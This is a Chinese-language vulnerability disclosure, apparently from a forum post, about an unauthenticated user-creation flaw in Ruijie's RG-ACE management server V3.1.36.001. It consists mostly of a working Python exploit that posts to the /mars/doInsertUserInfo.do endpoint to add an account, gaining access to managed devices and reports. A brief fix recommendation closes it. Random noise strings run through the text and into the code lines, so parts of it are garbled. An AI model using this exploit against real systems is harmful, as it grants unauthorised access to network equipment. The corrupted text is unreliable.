锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

' N5 E0 F0 o  E' }" W, \5 Z) j
) J# E2 X; ~6 S8 |/ H! h1 Y0 c测试的具体版本是
0 m  g. B3 p9 T) M/ R产品名称: 锐捷应用控制引擎
# z- K# B; p0 d版本号: 3.1.36.001 TC
6 y* {  U  G, S5 f. q4 Y* ?编译时间: 201104291730

! [( U, b5 T! w1 m& M
& H7 {& w( x( l8 s; t3 Q漏洞证明：


6 X) \- w8 u5 V

% ?% }; d3 I* @1 s' i' ~+ J% L

7 k8 Y  P) c  z! P. M执行脚本
#! /usr/bin/env python
$ m( G9 R5 N% P% I#coding=gbk
$ b$ P" D! [( g+ m# l7 F0 s#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
, Y* v5 z  t, kopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
; G+ I( h; }7 ?: ]opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
1 u' N! L0 Y% P; |post=(("event","userManager.doInsertUserInfo"),
% U; Q8 i% R" c' K1 X("useractionname","addButtonValue"),
("useropermanager","userManager"),
3 s5 O( j$ E$ |: _5 k/ c* z("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
. e. W0 w  A4 ~0 W  c("trueName","ad"),
("email",""),
, i) L0 D. S  ?6 E("mobilePhone",""),
8 ^. m& `$ m9 ?& P) T. o("officePhone",""),
: v( {' A- f6 E- j1 S) L6 u: m) S("addr",""),
2 O* a/ h: A) B! ^("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
$ b: T9 }# K+ @- Tprint "Done"

登录，连接设备


3 Z. ?1 D1 J* K! b' d% f

8 }. M4 n5 ~% l% T. \/ ]' T- P! B
默认的管理员admin权限更大点

. M" a) K: z9 ]$ W+ l
) O$ S, J4 R/ s% w* Z" ?7 L4 r
8 U  z4 W% U7 S  W

修复方案：
. F4 W4 g. G+ c; b1 e  x, H加强对接口的权限验证